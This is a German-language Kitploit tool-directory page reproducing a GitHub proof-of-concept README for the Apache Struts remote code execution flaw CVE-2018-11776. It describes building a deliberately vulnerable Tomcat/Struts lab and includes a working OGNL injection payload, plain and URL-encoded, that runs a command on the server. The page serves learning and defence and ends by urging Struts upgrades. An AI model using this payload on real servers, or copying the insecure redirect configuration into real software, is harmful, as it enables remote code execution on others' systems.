Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-11776 — Erstellen einer verwundbaren Umgebung und des PoC | Kitploit
Tools/GitHubGitHub/xfox64x/cve-2018-11776
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

Erstellen einer verwundbaren Umgebung und des PoC

Repository anzeigen
156vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-11776

Proof-of-Concept-Exploit, damit ich schnell beurteilen konnte, welche Schutzmaßnahmen und Fixes verfügbar sind.

Ursprünglich gefunden von Man Yue Mo, Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776

Semmle hatte eine Weile ein YouTube-Video „Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo“ online, aber ich glaube, es ist verschwunden oder zumindest nicht mehr mit Semmle verlinkt: https://www.youtube.com/watch?v=5SDNX20SLJ0

Ich habe die Informationen von oben übernommen und begann dann, mir die Commits im Struts-Repo anzusehen: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Ich bin zu faul, um Docker oder was auch immer zu nutzen ...

Einrichten und Ausnutzen eines verwundbaren Hosts

Lade das neueste Ubuntu-Desktop-ISO herunter und erstelle eine virtuelle Maschine.

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

Installiere Abhängigkeiten:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

Richte Tomcat ein:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

Aktualisiere die bashrc mit Variablen:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

Füge der Tomcat-GUI einen Administrator hinzu:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

Besorge eine verwundbare Struts2-Showcase, damit wir etwas zum Arbeiten haben:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

Stelle die WAR-Datei über die Tomcat-GUI bereit:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Starte Tomcat neu und prüfe, ob die Struts2-Showcase verfügbar ist:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

Füge eine verwundbare Weiterleitungsaktion ohne Namespace hinzu:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action ist bereits definiert, wir haben also nur eine weitere Redirect-Aktion hinzugefügt, die date.action aufruft.

Standardmäßig sollte alwaysSelectFullNamespace auf True gesetzt sein.

Starte Tomcat neu und sieh dir die Struts2-Showcase-Seite an:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

Erstelle einen OGNL-Ausdruck, um etwas zu tun. Machen wir das, was Semmle wahrscheinlich in ihrem YouTube-Video getan hat:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

Der OGNL-Ausdruck muss URL-codiert und vor dem letzten '/' in der URL eingefügt werden, um unsere verwundbare help.action zu treffen:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

Bei der Ausführung auf dem verwundbaren Ubuntu-Host sollte eine neue Taschenrechner-Instanz erscheinen.

Verwandte Commits, die das Problem beheben:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

Gedanken:

Eine weitere äußerst spezifische, verwundbare Implementierung von Struts. Die Medienberichterstattung über diese Schwachstelle hat alle ausflippen lassen, obwohl nur der schlampigste Code/die schlampigsten Konfigurationen wirklich verwundbar sind ... Mir fällt keine effiziente, heimliche Methode ein, diese Schwachstelle zuverlässig zu finden und/oder auszunutzen. Meine Empfehlung: Einfach verdammt nochmal Struts aktualisieren ... (oder es nicht mehr verwenden)

Tool herunterladen